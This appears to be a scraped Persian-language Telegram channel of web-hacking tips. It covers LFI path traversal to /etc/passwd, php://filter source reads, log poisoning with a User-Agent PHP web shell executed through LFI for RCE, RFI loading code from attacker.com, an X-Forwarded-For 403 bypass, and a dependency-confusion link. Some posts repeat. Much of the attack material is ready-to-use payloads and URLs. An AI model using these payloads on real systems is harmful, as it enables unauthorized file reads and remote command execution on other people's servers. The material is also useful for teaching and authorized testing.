بعد از پیدا کردن LFI، باید دنبال یک فایلی در سرور باشیم که دیتایی از سمت کاربر ذخیره میشه داخلش. باید دسترسی خوندن اون فایل رو داشته باشیم. میتونیم موارد زیر رو بررسی کنیم :
1) Apache/Nginx Log file
2) FTP Log file
3) SSH Log file
4) SMTP Log file
5) SFTP Log file
مثلا تو log file های مربوط به وب سرور خیلی وقتا user-agent هم لاگ میشه.(قبلش باید فایل Log رو با LFI بخونیم و مطمئن بشیم از این مورد). تنها کاری که باید انجام بدیم inject کردن پیلود مخرب به عنوان user agent هست.
و این اطلاعات در لاگ فایل مربوط به Apache ذخیره میشه. حالا باید از طریق LFI اون فایل رو فراخوانی کنیم و پارامتر cmd رو مقدار دهی کنیم.
و RCE گرفته میشه.
برای مابقی سرویس هاهم Log poisoning به این صورت انجام میشه با این تفاوت که اونجا user agent نداریم و چیز دیگه ای از کاربر Log میشه مثل یوزرنیم.
7⃣ آسیب پذیری RFI =
تو آسیب پذیری LFI همه فایل هایی که فراخوانی میکردیم Local بودن. تو آسیب پذیری RFI فایل های Remote هم فراخوانی میکنیم. فرضا یک فایل در سرور خودمون قرار میدیم با اکستنشن txt. و به عنوان ورودی به تارگت میدیم.
اما حالت پیشفرض این آسیب پذیری وجود نداره حتی اگه LFI وجود داشته باشه، باید کانفیگ های مربوط به دو مورد زیر به صورت دستی توسط برنامه نویس تغییر داده بشه تا قابلیت فراخوانی فایل به صورت remote فعال بشه.
وقتی آسیب پذیری RFI داریم قطعا LFI هم داریم. اما وقتی LFI هست تا وقتی دو تابع بالا فعال نباشن آسیب پذیری RFI وجود نخواهد داشت.
1⃣⏺7⃣ آیا اگر بتونیم یک فایل remote روی وب سایت لود کنیم RFI داریم همیشه❓
خیر. علاوه بر فراخوانی به صورت remote باید تابع آسیب پذیر قابلیت اجرایی داشته باشه تا بتونیم کد سمت backend اجرا کنیم (همون خاصیت LFI) . در غیر این صورت فقط میتونیم یک فایل JS. به صورت remote لود کنیم و به XSS برسیم.
#LFI
#RFI
#Path_traversal
#Directory_traversal
شبه کد آسیب پذیر با PHP به LFI 👇
include($_GET['file']);
وقتی کد بالا استفاده بشه، با URL زیر میتونیم بهش مقدار بدیم :
http://target.com/index.php?file=news.php
در URL بالا فایل news.php داخل فایل index.php فراخوانی شده است. برای بهتره برداری ازش در مرحله اول باید سعی کنیم فایل passwd را بخوانیم.
http://target.com/index.php?file=../../../../../../../etc/passwd
5⃣ استفاده از Wrapper ها =
در LFI میتونیم از wrapper ها هم استفاده کنیم. از Wrapper زیر برای خوندن فایل استفاده میشه که میتونیم باهاش کد های وب سایت رو بخونیم.
php://filter/convert.base64-encode/Resource=index.php
خروجی به صورت base64 هست و باید decode بشه.
6⃣ تبدیل LFI به RCE =
روش های مختلفی برای تبدیل LFI به RCE وجود دارد مثل :
1) Expect Wrapper
2) Input Wrapper
3) Log Poisoning
4) phpinfo in php
5) Chain LFI & SQLi
6) PHP Session
7) Chain LFI & RFU
1⃣⏺6⃣ تکنیک Log Poisoning :
بعد از پیدا کردن LFI، باید دنبال یک فایلی در سرور باشیم که دیتایی از سمت کاربر ذخیره میشه داخلش. باید دسترسی خوندن اون فایل رو داشته باشیم. میتونیم موارد زیر رو بررسی کنیم :
1) Apache/Nginx Log file
2) FTP Log file
3) SSH Log file
4) SMTP Log file
5) SFTP Log file
مثلا تو log file های مربوط به وب سرور خیلی وقتا user-agent هم لاگ میشه.(قبلش باید فایل Log رو با LFI بخونیم و مطمئن بشیم از این مورد). تنها کاری که باید انجام بدیم inject کردن پیلود مخرب به عنوان user agent هست.
GET /test HTTP/1.1
..
..
..
User-Agent: <?php system($_GET['cmd']) ?>
و این اطلاعات در لاگ فایل مربوط به Apache ذخیره میشه. حالا باید از طریق LFI اون فایل رو فراخوانی کنیم و پارامتر cmd رو مقدار دهی کنیم.
http://target.com/index.php?file=../../../../../var/apache2/access.log&cmd=whoami
و RCE گرفته میشه.
برای مابقی سرویس هاهم Log poisoning به این صورت انجام میشه با این تفاوت که اونجا user agent نداریم و چیز دیگه ای از کاربر Log میشه مثل یوزرنیم.
7⃣ آسیب پذیری RFI =
تو آسیب پذیری LFI همه فایل هایی که فراخوانی میکردیم Local بودن. تو آسیب پذیری RFI فایل های Remote هم فراخوانی میکنیم. فرضا یک فایل در سرور خودمون قرار میدیم با اکستنشن txt. و به عنوان ورودی به تارگت میدیم.
http://target.com/index.php.php?file=http://attacker.com/RFI.txt
اما حالت پیشفرض این آسیب پذیری وجود نداره حتی اگه LFI وجود داشته باشه، باید کانفیگ های مربوط به دو مورد زیر به صورت دستی توسط برنامه نویس تغییر داده بشه تا قابلیت فراخوانی فایل به صورت remote فعال بشه.
allow_url_include
allow_url_fopen
وقتی آسیب پذیری RFI داریم قطعا LFI هم داریم. اما وقتی LFI هست تا وقتی دو تابع بالا فعال نباشن آسیب پذیری RFI وجود نخواهد داشت.
1⃣⏺7⃣ آیا اگر بتونیم یک فایل remote روی وب سایت لود کنیم RFI داریم همیشه❓
#LFI
#RFI
#Path_traversal
#Directory_traversal
❤2
403 Bypass Tips =
یکی از معمول ترین روش ها استفاده از IP Spoofing هست به این صورت :
حتی اگر بتونیم IP Spoofing انجام بدیم ممکنه 127.0.0.1 authorize نباشه، اما Public IPهای شرکت authorize باشن. پس حتما از IP های خود شرکت هم برای این موضوع استفاده کنید.
#bypass_waf
یکی از معمول ترین روش ها استفاده از IP Spoofing هست به این صورت :
X-Forwarded-For: 127.0.0.1
حتی اگر بتونیم IP Spoofing انجام بدیم ممکنه 127.0.0.1 authorize نباشه، اما Public IPهای شرکت authorize باشن. پس حتما از IP های خود شرکت هم برای این موضوع استفاده کنید.
#bypass_waf
👍19
Alireza
403 Bypass Tips = یکی از معمول ترین روش ها استفاده از IP Spoofing هست به این صورت : X-Forwarded-For: 127.0.0.1 حتی اگر بتونیم IP Spoofing انجام بدیم ممکنه 127.0.0.1 authorize نباشه، اما Public IPهای شرکت authorize باشن. پس حتما از IP های خود شرکت هم برای…
اگه تارگت شما اینجا هست میتونین از IP هایی که معرفی کرده برای بایپس استفاده کنین، برای خودم چند نمونه بوده که با این ریپو تونستم بایپس کنم.
GitHub
ip-blacklist-collection/noname057/archive/previous-2024-07-09_07-05-04.json at 23ae4e4f340fd44533b42d9ea2f79e53e56ff3b7 · kawaiipantsu/ip…
These are automated updated IP address blacklist/whitelist you can use to fetch and parse and put in your firewall, waf, null-routing, sinkhole or what ever you choose. The blacklists are not neces...
🔥10❤1
https://www.linkedin.com/posts/apa-sharif_%D8%A2%D8%B3%DB%8C%D8%A8-%D9%BE%D8%B0%DB%8C%D8%B1%DB%8C-dependency-confusion-%DB%8C%DA%A9%DB%8C-%D8%A7%D8%B2-activity-7305228835472510977-D0Rh/?utm_source=share&utm_medium=member_android&rcm=ACoAAEjwrLkBPVC7_jdwsdv8l6dfM5yoGRUEMm8
#dependency_confusion
#dependency_confusion
Linkedin
آسیب پذیری Dependency confusion =
یکی از آسیب پذیری هایی که هنگام توسعه اپلیکیشن ممکنه به وجود بیاد dependency confusion هست که…
یکی از آسیب پذیری هایی که هنگام توسعه اپلیکیشن ممکنه به وجود بیاد dependency confusion هست که…
آسیب پذیری Dependency confusion =
یکی از آسیب پذیری هایی که هنگام توسعه اپلیکیشن ممکنه به وجود بیاد dependency confusion هست که هکر میتونه باهاش به دسترسی command execution برسه.
⁉️منظور از dependency تو این آسیب پذیری چیه⁉️
در هر زبان برنامه نویسی برای…
یکی از آسیب پذیری هایی که هنگام توسعه اپلیکیشن ممکنه به وجود بیاد dependency confusion هست که هکر میتونه باهاش به دسترسی command execution برسه.
⁉️منظور از dependency تو این آسیب پذیری چیه⁉️
در هر زبان برنامه نویسی برای…
👍9👎2